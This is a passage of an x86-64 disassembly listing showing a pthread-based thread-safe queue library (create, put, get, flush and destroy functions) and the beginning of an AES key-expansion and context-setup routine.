    00401ef1mov rax, [rbp-8]
    00401ef5mov rax, [rax+32]
    00401ef9mov esi, 0
    00401efemov rdi, rax
    00401f01call pthread_mutex_init@plt
    00401f06mov edi, 48
    00401f0bcall malloc@plt
    00401f10mov rdx, rax
    00401f13mov rax, [rbp-8]
    00401f17mov [rax+40], rdx
    00401f1bmov rax, [rbp-8]
    00401f1fmov rax, [rax+40]
    00401f23test rax, rax
    00401f26jne 0x401f5e
    00401f28mov rax, [rbp-8]
    00401f2cmov rax, [rax+32]
    00401f30mov rdi, rax
    00401f33call pthread_mutex_destroy@plt
    00401f38mov rax, [rbp-8]
    00401f3cmov rax, [rax+32]
    00401f40mov rdi, rax
    00401f43call free@plt
    00401f48mov rax, [rbp-8]
    00401f4cmov rdi, rax
    00401f4fcall free@plt
    00401f54mov eax, 0
    00401f59jmp 0x402050
    00401f5e
    00401f5eloc_401f5e:
    00401f5emov rax, [rbp-8]
    00401f62mov rax, [rax+40]
    00401f66mov esi, 0
    00401f6bmov rdi, rax
    00401f6ecall pthread_cond_init@plt
    00401f73mov edi, 48
    00401f78call malloc@plt
    00401f7dmov rdx, rax
    00401f80mov rax, [rbp-8]
    00401f84mov [rax+48], rdx
    00401f88mov rax, [rbp-8]
    00401f8cmov rax, [rax+48]
    00401f90test rax, rax
    00401f93jne 0x401fe8
    00401f95mov rax, [rbp-8]
    00401f99mov rax, [rax+40]
    00401f9dmov rdi, rax
    00401fa0call pthread_cond_destroy@plt
    00401fa5mov rax, [rbp-8]
    00401fa9mov rax, [rax+40]
    00401fadmov rdi, rax
    00401fb0call free@plt
    00401fb5mov rax, [rbp-8]
    00401fb9mov rax, [rax+32]
    00401fbdmov rdi, rax
    00401fc0call pthread_mutex_destroy@plt
    00401fc5mov rax, [rbp-8]
    00401fc9mov rax, [rax+32]
    00401fcdmov rdi, rax
    00401fd0call free@plt
    00401fd5mov rax, [rbp-8]
    00401fd9mov rdi, rax
    00401fdccall free@plt
    00401fe1mov eax, 0
    00401fe6jmp 0x402050
    00401fe8
    00401fe8loc_401fe8:
    00401fe8mov rax, [rbp-8]
    00401fecmov rax, [rax+48]
    00401ff0mov esi, 0
    00401ff5mov rdi, rax
    00401ff8call pthread_cond_init@plt
    00401ffdmov rax, [rbp-8]
    00402001mov [rax], 0
    00402008mov rax, [rbp-8]
    0040200cmov [rax+8], 0
    00402014mov rax, [rbp-8]
    00402018mov [rax+16], 0
    0040201emov rax, [rbp-8]
    00402022mov [rax+18], 0
    00402028mov rax, [rbp-8]
    0040202cmov [rax+20], 1
    00402030mov rax, [rbp-8]
    00402034mov [rax+21], 0
    00402038mov rax, [rbp-8]
    0040203cmov [rax+22], 1
    00402040mov rax, [rbp-8]
    00402044mov [rax+24], 0
    0040204c
    0040204cloc_40204c:
    0040204cmov rax, [rbp-8]
    00402050
    00402050loc_402050:
    00402050leave
    00402051ret
    00401e98
    00402052
    00402052queue_create_limited:
    00402052push rbp
    00402053mov rbp, rsp
    00402056sub rsp, 32
    0040205amov eax, edi
    0040205cmov [rbp-20], ax
    00402060call queue_create
    00402065mov [rbp-8], rax
    00402069cmp [rbp-8], 0
    0040206eje 0x40207c
    00402070mov rax, [rbp-8]
    00402074movzx edx, [rbp-20]
    00402078mov [rax+18], dx
    0040207c
    0040207cloc_40207c:
    0040207cmov rax, [rbp-8]
    00402080leave
    00402081ret
    00402052
    00402082
    00402082queue_create_sorted:
    00402082push rbp
    00402083mov rbp, rsp
    00402086sub rsp, 32
    0040208amov eax, edi
    0040208cmov [rbp-32], rsi
    00402090mov [rbp-20], al
    00402093cmp [rbp-32], 0
    00402098jne 0x4020a1
    0040209amov eax, 0
    0040209fjmp 0x4020d4
    004020a1
    004020a1loc_4020a1:
    004020a1call queue_create
    004020a6mov [rbp-8], rax
    004020aacmp [rbp-8], 0
    004020afje 0x4020d0
    004020b1mov rax, [rbp-8]
    004020b5mov [rax+21], 1
    004020b9mov rax, [rbp-8]
    004020bdmovzx edx, [rbp-20]
    004020c1mov [rax+22], dl
    004020c4mov rax, [rbp-8]
    004020c8mov rdx, [rbp-32]
    004020ccmov [rax+24], rdx
    004020d0
    004020d0loc_4020d0:
    004020d0mov rax, [rbp-8]
    004020d4
    004020d4loc_4020d4:
    004020d4leave
    004020d5ret
    00402082
    004020d6
    004020d6queue_create_limited_sorted:
    004020d6push rbp
    004020d7mov rbp, rsp
    004020dasub rsp, 32
    004020demov ecx, edi
    004020e0mov eax, esi
    004020e2mov [rbp-32], rdx
    004020e6mov [rbp-20], cx
    004020eamov [rbp-24], al
    004020edcmp [rbp-32], 0
    004020f2jne 0x4020fb
    004020f4mov eax, 0
    004020f9jmp 0x40213a
    004020fb
    004020fbloc_4020fb:
    004020fbcall queue_create
    00402100mov [rbp-8], rax
    00402104cmp [rbp-8], 0
    00402109je 0x402136
    0040210bmov rax, [rbp-8]
    0040210fmovzx edx, [rbp-20]
    00402113mov [rax+18], dx
    00402117mov rax, [rbp-8]
    0040211bmov [rax+21], 1
    0040211fmov rax, [rbp-8]
    00402123movzx edx, [rbp-24]
    00402127mov [rax+22], dl
    0040212amov rax, [rbp-8]
    0040212emov rdx, [rbp-32]
    00402132mov [rax+24], rdx
    00402136
    00402136loc_402136:
    00402136mov rax, [rbp-8]
    0040213a
    0040213aloc_40213a:
    0040213aleave
    0040213bret
    004020d6
    0040213c
    0040213cqueue_destroy:
    0040213cpush rbp
    0040213dmov rbp, rsp
    00402140sub rsp, 16
    00402144mov [rbp-8], rdi
    00402148cmp [rbp-8], 0
    0040214djne 0x402156
    0040214fmov eax, -1
    00402154jmp 0x40216c
    00402156
    00402156loc_402156:
    00402156mov rax, [rbp-8]
    0040215amov edx, 0
    0040215fmov esi, 0
    00402164mov rdi, rax
    00402167call queue_destroy_internal
    0040216c
    0040216cloc_40216c:
    0040216cleave
    0040216dret
    0040213c
    0040216e
    0040216equeue_destroy_complete:
    0040216epush rbp
    0040216fmov rbp, rsp
    00402172sub rsp, 16
    00402176mov [rbp-8], rdi
    0040217amov [rbp-16], rsi
    0040217ecmp [rbp-8], 0
    00402183jne 0x40218c
    00402185mov eax, -1
    0040218ajmp 0x4021a1
    0040218c
    0040218cloc_40218c:
    0040218cmov rdx, [rbp-16]
    00402190mov rax, [rbp-8]
    00402194mov esi, 1
    00402199mov rdi, rax
    0040219ccall queue_destroy_internal
    004021a1
    004021a1loc_4021a1:
    004021a1leave
    004021a2ret
    0040216e
    004021a3
    004021a3queue_flush:
    004021a3push rbp
    004021a4mov rbp, rsp
    004021a7sub rsp, 32
    004021abmov [rbp-24], rdi
    004021afcmp [rbp-24], 0
    004021b4jne 0x4021bd
    004021b6mov eax, -1
    004021bbjmp 0x402208
    004021bd
    004021bdloc_4021bd:
    004021bdmov rax, [rbp-24]
    004021c1mov rdi, rax
    004021c4call queue_lock_internal
    004021c9test al, al
    004021cbje 0x4021d4
    004021cdmov eax, -2
    004021d2jmp 0x402208
    004021d4
    004021d4loc_4021d4:
    004021d4mov rax, [rbp-24]
    004021d8mov edx, 0
    004021ddmov esi, 0
    004021e2mov rdi, rax
    004021e5call queue_flush_internal
    004021eamov [rbp-1], al
    004021edmov rax, [rbp-24]
    004021f1mov rdi, rax
    004021f4call queue_unlock_internal
    004021f9test al, al
    004021fbje 0x402204
    004021fdmov eax, -2
    00402202jmp 0x402208
    00402204
    00402204loc_402204:
    00402204movzx eax, [rbp-1]
    00402208
    00402208loc_402208:
    00402208leave
    00402209ret
    004021a3
    0040220a
    0040220aqueue_flush_complete:
    0040220apush rbp
    0040220bmov rbp, rsp
    0040220esub rsp, 32
    00402212mov [rbp-24], rdi
    00402216mov [rbp-32], rsi
    0040221acmp [rbp-24], 0
    0040221fjne 0x402228
    00402221mov eax, -1
    00402226jmp 0x402272
    00402228
    00402228loc_402228:
    00402228mov rax, [rbp-24]
    0040222cmov rdi, rax
    0040222fcall queue_lock_internal
    00402234test al, al
    00402236je 0x40223f
    00402238mov eax, -2
    0040223djmp 0x402272
    0040223f
    0040223floc_40223f:
    0040223fmov rdx, [rbp-32]
    00402243mov rax, [rbp-24]
    00402247mov esi, 1
    0040224cmov rdi, rax
    0040224fcall queue_flush_internal
    00402254mov [rbp-1], al
    00402257mov rax, [rbp-24]
    0040225bmov rdi, rax
    0040225ecall queue_unlock_internal
    00402263test al, al
    00402265je 0x40226e
    00402267mov eax, -2
    0040226cjmp 0x402272
    0040226e
    0040226eloc_40226e:
    0040226emovzx eax, [rbp-1]
    00402272
    00402272loc_402272:
    00402272leave
    00402273ret
    0040220a
    00402274
    00402274queue_elements:
    00402274push rbp
    00402275mov rbp, rsp
    00402278sub rsp, 32
    0040227cmov [rbp-24], rdi
    00402280mov [rbp-2], -1
    00402286cmp [rbp-24], 0
    0040228bjne 0x402293
    0040228dmovzx eax, [rbp-2]
    00402291jmp 0x4022d0
    00402293
    00402293loc_402293:
    00402293mov rax, [rbp-24]
    00402297mov rdi, rax
    0040229acall queue_lock_internal
    0040229ftest al, al
    004022a1je 0x4022a9
    004022a3movzx eax, [rbp-2]
    004022a7jmp 0x4022d0
    004022a9
    004022a9loc_4022a9:
    004022a9mov rax, [rbp-24]
    004022admovzx eax, [rax+16]
    004022b1mov [rbp-2], ax
    004022b5mov rax, [rbp-24]
    004022b9mov rdi, rax
    004022bccall queue_unlock_internal
    004022c1test al, al
    004022c3je 0x4022cc
    004022c5mov eax, -2
    004022cajmp 0x4022d0
    004022cc
    004022ccloc_4022cc:
    004022ccmovzx eax, [rbp-2]
    004022d0
    004022d0loc_4022d0:
    004022d0leave
    004022d1ret
    00402274
    004022d2
    004022d2queue_empty:
    004022d2push rbp
    004022d3mov rbp, rsp
    004022d6sub rsp, 32
    004022damov [rbp-24], rdi
    004022decmp [rbp-24], 0
    004022e3jne 0x4022ec
    004022e5mov eax, -1
    004022eajmp 0x402341
    004022ec
    004022ecloc_4022ec:
    004022ecmov rax, [rbp-24]
    004022f0mov rdi, rax
    004022f3call queue_lock_internal
    004022f8test al, al
    004022faje 0x402303
    004022fcmov eax, -2
    00402301jmp 0x402341
    00402303
    00402303loc_402303:
    00402303mov rax, [rbp-24]
    00402307mov rax, [rax]
    0040230atest rax, rax
    0040230dje 0x40231c
    0040230fmov rax, [rbp-24]
    00402313mov rax, [rax+8]
    00402317test rax, rax
    0040231ajne 0x402322
    0040231c
    0040231cloc_40231c:
    0040231cmov [rbp-1], 1
    00402320jmp 0x402326
    00402322
    00402322loc_402322:
    00402322mov [rbp-1], 0
    00402326
    00402326loc_402326:
    00402326mov rax, [rbp-24]
    0040232amov rdi, rax
    0040232dcall queue_unlock_internal
    00402332test al, al
    00402334je 0x40233d
    00402336mov eax, -2
    0040233bjmp 0x402341
    0040233d
    0040233dloc_40233d:
    0040233dmovzx eax, [rbp-1]
    00402341
    00402341loc_402341:
    00402341leave
    00402342ret
    004022d2
    00402343
    00402343queue_set_new_data:
    00402343push rbp
    00402344mov rbp, rsp
    00402347sub rsp, 16
    0040234bmov [rbp-8], rdi
    0040234fmov eax, esi
    00402351mov [rbp-12], al
    00402354cmp [rbp-8], 0
    00402359jne 0x402362
    0040235bmov eax, -1
    00402360jmp 0x4023cc
    00402362
    00402362loc_402362:
    00402362mov rax, [rbp-8]
    00402366mov rdi, rax
    00402369call queue_lock_internal
    0040236etest al, al
    00402370je 0x402379
    00402372mov eax, -2
    00402377jmp 0x4023cc
    00402379
    00402379loc_402379:
    00402379mov rax, [rbp-8]
    0040237dmovzx edx, [rbp-12]
    00402381mov [rax+20], dl
    00402384mov rax, [rbp-8]
    00402388mov rdi, rax
    0040238bcall queue_unlock_internal
    00402390test al, al
    00402392je 0x40239b
    00402394mov eax, -2
    00402399jmp 0x4023cc
    0040239b
    0040239bloc_40239b:
    0040239bmov rax, [rbp-8]
    0040239fmovzx eax, [rax+20]
    004023a3test al, al
    004023a5jne 0x4023c7
    004023a7mov rax, [rbp-8]
    004023abmov rax, [rax+40]
    004023afmov rdi, rax
    004023b2call pthread_cond_broadcast@plt
    004023b7mov rax, [rbp-8]
    004023bbmov rax, [rax+48]
    004023bfmov rdi, rax
    004023c2call pthread_cond_broadcast@plt
    004023c7
    004023c7loc_4023c7:
    004023c7mov eax, 0
    004023cc
    004023ccloc_4023cc:
    004023ccleave
    004023cdret
    00402343
    004023ce
    004023cequeue_get_new_data:
    004023cepush rbp
    004023cfmov rbp, rsp
    004023d2sub rsp, 32
    004023d6mov [rbp-24], rdi
    004023dacmp [rbp-24], 0
    004023dfjne 0x4023e8
    004023e1mov eax, 0
    004023e6jmp 0x402425
    004023e8
    004023e8loc_4023e8:
    004023e8mov rax, [rbp-24]
    004023ecmov rdi, rax
    004023efcall queue_lock_internal
    004023f4test al, al
    004023f6je 0x4023ff
    004023f8mov eax, 0
    004023fdjmp 0x402425
    004023ff
    004023ffloc_4023ff:
    004023ffmov rax, [rbp-24]
    00402403movzx eax, [rax+20]
    00402407mov [rbp-1], al
    0040240amov rax, [rbp-24]
    0040240emov rdi, rax
    00402411call queue_unlock_internal
    00402416test al, al
    00402418je 0x402421
    0040241amov eax, 0
    0040241fjmp 0x402425
    00402421
    00402421loc_402421:
    00402421movzx eax, [rbp-1]
    00402425
    00402425loc_402425:
    00402425leave
    00402426ret
    004023ce
    00402427
    00402427queue_put:
    00402427push rbp
    00402428mov rbp, rsp
    0040242bsub rsp, 32
    0040242fmov [rbp-24], rdi
    00402433mov [rbp-32], rsi
    00402437cmp [rbp-24], 0
    0040243cjne 0x402445
    0040243emov eax, -1
    00402443jmp 0x402492
    00402445
    00402445loc_402445:
    00402445mov rax, [rbp-24]
    00402449mov rdi, rax
    0040244ccall queue_lock_internal
    00402451test al, al
    00402453je 0x40245c
    00402455mov eax, -2
    0040245ajmp 0x402492
    0040245c
    0040245cloc_40245c:
    0040245cmov rcx, [rbp-32]
    00402460mov rax, [rbp-24]
    00402464mov edx, 0
    00402469mov rsi, rcx
    0040246cmov rdi, rax
    0040246fcall queue_put_internal
    00402474mov [rbp-1], al
    00402477mov rax, [rbp-24]
    0040247bmov rdi, rax
    0040247ecall queue_unlock_internal
    00402483test al, al
    00402485je 0x40248e
    00402487mov eax, -2
    0040248cjmp 0x402492
    0040248e
    0040248eloc_40248e:
    0040248emovzx eax, [rbp-1]
    00402492
    00402492loc_402492:
    00402492leave
    00402493ret
    00402427
    00402494
    00402494queue_put_wait:
    00402494push rbp
    00402495mov rbp, rsp
    00402498sub rsp, 32
    0040249cmov [rbp-24], rdi
    004024a0mov [rbp-32], rsi
    004024a4cmp [rbp-24], 0
    004024a9jne 0x4024b2
    004024abmov eax, -1
    004024b0jmp 0x4024ff
    004024b2
    004024b2loc_4024b2:
    004024b2mov rax, [rbp-24]
    004024b6mov rdi, rax
    004024b9call queue_lock_internal
    004024betest al, al
    004024c0je 0x4024c9
    004024c2mov eax, -2
    004024c7jmp 0x4024ff
    004024c9
    004024c9loc_4024c9:
    004024c9mov rcx, [rbp-32]
    004024cdmov rax, [rbp-24]
    004024d1mov edx, 0x401330
    004024d6mov rsi, rcx
    004024d9mov rdi, rax
    004024dccall queue_put_internal
    004024e1mov [rbp-1], al
    004024e4mov rax, [rbp-24]
    004024e8mov rdi, rax
    004024ebcall queue_unlock_internal
    004024f0test al, al
    004024f2je 0x4024fb
    004024f4mov eax, -2
    004024f9jmp 0x4024ff
    004024fb
    004024fbloc_4024fb:
    004024fbmovzx eax, [rbp-1]
    004024ff
    004024ffloc_4024ff:
    004024ffleave
    00402500ret
    00402494
    00402501
    00402501queue_get:
    00402501push rbp
    00402502mov rbp, rsp
    00402505sub rsp, 32
    00402509mov [rbp-24], rdi
    0040250dmov [rbp-32], rsi
    00402511mov rax, [rbp-32]
    00402515mov [rax], 0
    0040251ccmp [rbp-24], 0
    00402521jne 0x40252a
    00402523mov eax, -1
    00402528jmp 0x40257f
    0040252a
    0040252aloc_40252a:
    0040252amov rax, [rbp-24]
    0040252emov rdi, rax
    00402531call queue_lock_internal
    00402536test al, al
    00402538je 0x402541
    0040253amov eax, -2
    0040253fjmp 0x40257f
    00402541
    00402541loc_402541:
    00402541mov rsi, [rbp-32]
    00402545mov rax, [rbp-24]
    00402549mov r8l, 0
    0040254fmov ecx, 0
    00402554mov edx, 0
    00402559mov rdi, rax
    0040255ccall queue_get_internal
    00402561mov [rbp-1], al
    00402564mov rax, [rbp-24]
    00402568mov rdi, rax
    0040256bcall queue_unlock_internal
    00402570test al, al
    00402572je 0x40257b
    00402574mov eax, -2
    00402579jmp 0x40257f
    0040257b
    0040257bloc_40257b:
    0040257bmovzx eax, [rbp-1]
    0040257f
    0040257floc_40257f:
    0040257fleave
    00402580ret
    00402501
    00402581
    00402581queue_get_wait:
    00402581push rbp
    00402582mov rbp, rsp
    00402585sub rsp, 32
    00402589mov [rbp-24], rdi
    0040258dmov [rbp-32], rsi
    00402591mov rax, [rbp-32]
    00402595mov [rax], 0
    0040259ccmp [rbp-24], 0
    004025a1jne 0x4025aa
    004025a3mov eax, -1
    004025a8jmp 0x4025ff
    004025aa
    004025aaloc_4025aa:
    004025aamov rax, [rbp-24]
    004025aemov rdi, rax
    004025b1call queue_lock_internal
    004025b6test al, al
    004025b8je 0x4025c1
    004025bamov eax, -2
    004025bfjmp 0x4025ff
    004025c1
    004025c1loc_4025c1:
    004025c1mov rsi, [rbp-32]
    004025c5mov rax, [rbp-24]
    004025c9mov r8l, 0
    004025cfmov ecx, 0
    004025d4mov edx, 0x401330
    004025d9mov rdi, rax
    004025dccall queue_get_internal
    004025e1mov [rbp-1], al
    004025e4mov rax, [rbp-24]
    004025e8mov rdi, rax
    004025ebcall queue_unlock_internal
    004025f0test al, al
    004025f2je 0x4025fb
    004025f4mov eax, -2
    004025f9jmp 0x4025ff
    004025fb
    004025fbloc_4025fb:
    004025fbmovzx eax, [rbp-1]
    004025ff
    004025ffloc_4025ff:
    004025ffleave
    00402600ret
    00402581
    00402601
    00402601queue_get_filtered:
    00402601push rbp
    00402602mov rbp, rsp
    00402605sub rsp, 48
    00402609mov [rbp-24], rdi
    0040260dmov [rbp-32], rsi
    00402611mov [rbp-40], rdx
    00402615mov [rbp-48], rcx
    00402619mov rax, [rbp-32]
    0040261dmov [rax], 0
    00402624cmp [rbp-24], 0
    00402629jne 0x402632
    0040262bmov eax, -1
    00402630jmp 0x40268a
    00402632
    00402632loc_402632:
    00402632mov rax, [rbp-24]
    00402636mov rdi, rax
    00402639call queue_lock_internal
    0040263etest al, al
    00402640je 0x402649
    00402642mov eax, -2
    00402647jmp 0x40268a
    00402649
    00402649loc_402649:
    00402649mov rcx, [rbp-48]
    0040264dmov rdx, [rbp-40]
    00402651mov rsi, [rbp-32]
    00402655mov rax, [rbp-24]
    00402659mov r8, rcx
    0040265cmov rcx, rdx
    0040265fmov edx, 0
    00402664mov rdi, rax
    00402667call queue_get_internal
    0040266cmov [rbp-1], al
    0040266fmov rax, [rbp-24]
    00402673mov rdi, rax
    00402676call queue_unlock_internal
    0040267btest al, al
    0040267dje 0x402686
    0040267fmov eax, -2
    00402684jmp 0x40268a
    00402686
    00402686loc_402686:
    00402686movzx eax, [rbp-1]
    0040268a
    0040268aloc_40268a:
    0040268aleave
    0040268bret
    00402601
    0040268c
    0040268cqueue_flush_put:
    0040268cpush rbp
    0040268dmov rbp, rsp
    00402690sub rsp, 48
    00402694mov [rbp-24], rdi
    00402698mov [rbp-32], rsi
    0040269cmov [rbp-40], rdx
    004026a0cmp [rbp-24], 0
    004026a5jne 0x4026ae
    004026a7mov eax, -1
    004026acjmp 0x402714
    004026ae
    004026aeloc_4026ae:
    004026aemov rax, [rbp-24]
    004026b2mov rdi, rax
    004026b5call queue_lock_internal
    004026batest al, al
    004026bcje 0x4026c5
    004026bemov eax, -2
    004026c3jmp 0x402714
    004026c5
    004026c5loc_4026c5:
    004026c5mov rax, [rbp-24]
    004026c9mov edx, 0
    004026cemov esi, 0
    004026d3mov rdi, rax
    004026d6call queue_flush_internal
    004026dbmov [rbp-1], al
    004026demov rcx, [rbp-40]
    004026e2mov rax, [rbp-24]
    004026e6mov edx, 0
    004026ebmov rsi, rcx
    004026eemov rdi, rax
    004026f1call queue_put_internal
    004026f6mov [rbp-1], al
    004026f9mov rax, [rbp-24]
    004026fdmov rdi, rax
    00402700call queue_unlock_internal
    00402705test al, al
    00402707je 0x402710
    00402709mov eax, -2
    0040270ejmp 0x402714
    00402710
    00402710loc_402710:
    00402710movzx eax, [rbp-1]
    00402714
    00402714loc_402714:
    00402714leave
    00402715ret
    0040268c
    00402716
    00402716queue_flush_complete_put:
    00402716push rbp
    00402717mov rbp, rsp
    0040271asub rsp, 48
    0040271emov [rbp-24], rdi
    00402722mov [rbp-32], rsi
    00402726mov [rbp-40], rdx
    0040272acmp [rbp-24], 0
    0040272fjne 0x402738
    00402731mov eax, -1
    00402736jmp 0x40279d
    00402738
    00402738loc_402738:
    00402738mov rax, [rbp-24]
    0040273cmov rdi, rax
    0040273fcall queue_lock_internal
    00402744test al, al
    00402746je 0x40274f
    00402748mov eax, -2
    0040274djmp 0x40279d
    0040274f
    0040274floc_40274f:
    0040274fmov rdx, [rbp-32]
    00402753mov rax, [rbp-24]
    00402757mov esi, 1
    0040275cmov rdi, rax
    0040275fcall queue_flush_internal
    00402764mov [rbp-1], al
    00402767mov rcx, [rbp-40]
    0040276bmov rax, [rbp-24]
    0040276fmov edx, 0
    00402774mov rsi, rcx
    00402777mov rdi, rax
    0040277acall queue_put_internal
    0040277fmov [rbp-1], al
    00402782mov rax, [rbp-24]
    00402786mov rdi, rax
    00402789call queue_unlock_internal
    0040278etest al, al
    00402790je 0x402799
    00402792mov eax, -2
    00402797jmp 0x40279d
    00402799
    00402799loc_402799:
    00402799movzx eax, [rbp-1]
    0040279d
    0040279dloc_40279d:
    0040279dleave
    0040279eret
    00402716
    0040279f
    0040279f // align 0x10
    004027a0
    004027a0KeyExpansion:
    004027a0push rbp
    004027a1mov rbp, rsp
    004027a4mov [rbp-40], rdi
    004027a8mov [rbp-48], rsi
    004027acmov [rbp-4], 0
    004027b3jmp 0x402842
    004027b8
    004027b8loc_4027b8:
    004027b8mov eax, [rbp-4]
    004027bbshl eax, 2
    004027bemov eax, eax
    004027c0add rax, [rbp-40]
    004027c4mov edx, [rbp-4]
    004027c7shl edx, 2
    004027camov edx, edx
    004027ccadd rdx, [rbp-48]
    004027d0movzx edx, [rdx]
    004027d3mov [rax], dl
    004027d5mov eax, [rbp-4]
    004027d8shl eax, 2
    004027dbadd eax, 1
    004027demov eax, eax
    004027e0add rax, [rbp-40]
    004027e4mov edx, [rbp-4]
    004027e7shl edx, 2
    004027eaadd edx, 1
    004027edmov edx, edx
    004027efadd rdx, [rbp-48]
    004027f3movzx edx, [rdx]
    004027f6mov [rax], dl
    004027f8mov eax, [rbp-4]
    004027fbshl eax, 2
    004027feadd eax, 2
    00402801mov eax, eax
    00402803add rax, [rbp-40]
    00402807mov edx, [rbp-4]
    0040280ashl edx, 2
    0040280dadd edx, 2
    00402810mov edx, edx
    00402812add rdx, [rbp-48]
    00402816movzx edx, [rdx]
    00402819mov [rax], dl
    0040281bmov eax, [rbp-4]
    0040281eshl eax, 2
    00402821add eax, 3
    00402824mov eax, eax
    00402826add rax, [rbp-40]
    0040282amov edx, [rbp-4]
    0040282dshl edx, 2
    00402830add edx, 3
    00402833mov edx, edx
    00402835add rdx, [rbp-48]
    00402839movzx edx, [rdx]
    0040283cmov [rax], dl
    0040283eadd [rbp-4], 1
    00402842
    00402842loc_402842:
    00402842cmp [rbp-4], 3
    00402846jbe 0x4027b8
    0040284cmov [rbp-4], 4
    00402853jmp 0x4029db
    00402858
    00402858loc_402858:
    00402858mov eax, [rbp-4]
    0040285badd eax, 0x3fffffff
    00402860shl eax, 2
    00402863mov [rbp-8], eax
    00402866mov eax, [rbp-8]
    00402869add rax, [rbp-40]
    0040286dmovzx eax, [rax]
    00402870mov [rbp-32], al
    00402873mov eax, [rbp-8]
    00402876add eax, 1
    00402879mov eax, eax
    0040287badd rax, [rbp-40]
    0040287fmovzx eax, [rax]
    00402882mov [rbp-31], al
    00402885mov eax, [rbp-8]
    00402888add eax, 2
    0040288bmov eax, eax
    0040288dadd rax, [rbp-40]
    00402891movzx eax, [rax]
    00402894mov [rbp-30], al
    00402897mov eax, [rbp-8]
    0040289aadd eax, 3
    0040289dmov eax, eax
    0040289fadd rax, [rbp-40]
    004028a3movzx eax, [rax]
    004028a6mov [rbp-29], al
    004028a9mov eax, [rbp-4]
    004028acand eax, 3
    004028aftest eax, eax
    004028b1jne 0x40293e
    004028b7movzx eax, [rbp-32]
    004028bbmov [rbp-9], al
    004028bemovzx eax, [rbp-31]
    004028c2mov [rbp-32], al
    004028c5movzx eax, [rbp-30]
    004028c9mov [rbp-31], al
    004028ccmovzx eax, [rbp-29]
    004028d0mov [rbp-30], al
    004028d3movzx eax, [rbp-9]
    004028d7mov [rbp-29], al
    004028damovzx eax, [rbp-32]
    004028demovzx eax, al
    004028e1cdqe
    004028e3movzx eax, [rax+0x40e7e0]
    004028eamov [rbp-32], al
    004028edmovzx eax, [rbp-31]
    004028f1movzx eax, al
    004028f4cdqe
    004028f6movzx eax, [rax+0x40e7e0]
    004028fdmov [rbp-31], al
    00402900movzx eax, [rbp-30]
    00402904movzx eax, al
    00402907cdqe
    00402909movzx eax, [rax+0x40e7e0]
    00402910mov [rbp-30], al
    00402913movzx eax, [rbp-29]
    00402917movzx eax, al
    0040291acdqe
    0040291cmovzx eax, [rax+0x40e7e0]
    00402923mov [rbp-29], al
    00402926movzx edx, [rbp-32]
    0040292amov eax, [rbp-4]
    0040292dshr eax, 2
    00402930mov eax, eax
    00402932movzx eax, [rax+0x40e9e0]
    00402939xor eax, edx
    0040293bmov [rbp-32], al
    0040293e
    0040293eloc_40293e:
    0040293emov eax, [rbp-4]
    00402941shl eax, 2
    00402944mov [rbp-16], eax
    00402947mov eax, [rbp-4]
    0040294aadd eax, 0x3ffffffc
    0040294fshl eax, 2
    00402952mov [rbp-8], eax
    00402955mov eax, [rbp-16]
    00402958add rax, [rbp-40]
    0040295cmov edx, [rbp-8]
    0040295fadd rdx, [rbp-40]
    00402963movzx ecx, [rdx]
    00402966movzx edx, [rbp-32]
    0040296axor edx, ecx
    0040296cmov [rax], dl
    0040296emov eax, [rbp-16]
    00402971add eax, 1
    00402974mov eax, eax
    00402976add rax, [rbp-40]
    0040297amov edx, [rbp-8]
    0040297dadd edx, 1
    00402980mov edx, edx
    00402982add rdx, [rbp-40]
    00402986movzx ecx, [rdx]
    00402989movzx edx, [rbp-31]
    0040298dxor edx, ecx
    0040298fmov [rax], dl
    00402991mov eax, [rbp-16]
    00402994add eax, 2
    00402997mov eax, eax
    00402999add rax, [rbp-40]
    0040299dmov edx, [rbp-8]
    004029a0add edx, 2
    004029a3mov edx, edx
    004029a5add rdx, [rbp-40]
    004029a9movzx ecx, [rdx]
    004029acmovzx edx, [rbp-30]
    004029b0xor edx, ecx
    004029b2mov [rax], dl
    004029b4mov eax, [rbp-16]
    004029b7add eax, 3
    004029bamov eax, eax
    004029bcadd rax, [rbp-40]
    004029c0mov edx, [rbp-8]
    004029c3add edx, 3
    004029c6mov edx, edx
    004029c8add rdx, [rbp-40]
    004029ccmovzx ecx, [rdx]
    004029cfmovzx edx, [rbp-29]
    004029d3xor edx, ecx
    004029d5mov [rax], dl
    004029d7add [rbp-4], 1
    004029db
    004029dbloc_4029db:
    004029dbcmp [rbp-4], 43
    004029dfjbe 0x402858
    004029e5pop rbp
    004029e6ret
    004027a0
    004029e7
    004029e7AES_init_ctx:
    004029e7push rbp
    004029e8mov rbp, rsp
    004029ebsub rsp, 16
    004029efmov [rbp-8], rdi
    004029f3mov [rbp-16], rsi
    004029f7mov rax, [rbp-8]
    004029fbmov rdx, [rbp-16]
    004029ffmov rsi, rdx
    00402a02mov rdi, rax
    00402a05call KeyExpansion
    00402a0aleave
    00402a0bret
    004029e7
    00402a0c
    00402a0cAES_init_ctx_iv:
    00402a0cpush rbp
    00402a0dmov rbp, rsp
    00402a10sub rsp, 24
    00402a14mov [rbp-8], rdi
    00402a18mov [rbp-16], rsi
    00402a1cmov [rbp-24], rdx
    00402a20mov rax, [rbp-8]
    00402a24mov rdx, [rbp-16]
    00402a28mov rsi, rdx
    00402a2bmov rdi, rax
    00402a2ecall KeyExpansion
    00402a33mov rdx, [rbp-24]
    00402a37mov rax, [rbp-8]
    00402a3badd rax, 176
    00402a41mov rcx, [rdx]
    00402a44mov [rax], rcx
    00402a47mov rdx, [rdx+8]
    00402a4bmov [rax+8], rdx
    00402a4fleave
    00402a50ret
    00402a0c
    00402a51
    00402a51AES_ctx_set_iv:
    00402a51push rbp
    00402a52mov rbp, rsp
    00402a55mov [rbp-8], rdi
    00402a59mov [rbp-16], rsi
    00402a5dmov rdx, [rbp-16]
    00402a61mov rax, [rbp-8]
    00402a65add rax, 176
    00402a6bmov rcx, [rdx]
    00402a6emov [rax], rcx
    00402a71mov rdx, [rdx+8]
    00402a75mov [rax+8], rdx
    00402a79pop rbp
    00402a7aret
    00402a51
    00402a7b
    00402a7bAddRoundKey:
    00402a7bpush rbp
    00402a7cmov rbp, rsp
    00402a7fmov eax, edi
    00402a81mov [rbp-32], rsi
    00402a85mov [rbp-40], rdx
    00402a89mov [rbp-20], al
    00402a8cmov [rbp-1], 0
    00402a90jmp 0x402b0b
    00402a92
    00402a92loc_402a92:
    00402a92mov [rbp-2], 0
    00402a96jmp 0x402b01
    00402a98
    00402a98loc_402a98:
    00402a98movzx edi, [rbp-1]
    00402a9cmovzx esi, [rbp-2]
    00402aa0movzx eax, [rbp-1]
    00402aa4movzx ecx, [rbp-2]
    00402aa8mov rdx, [rbp-32]
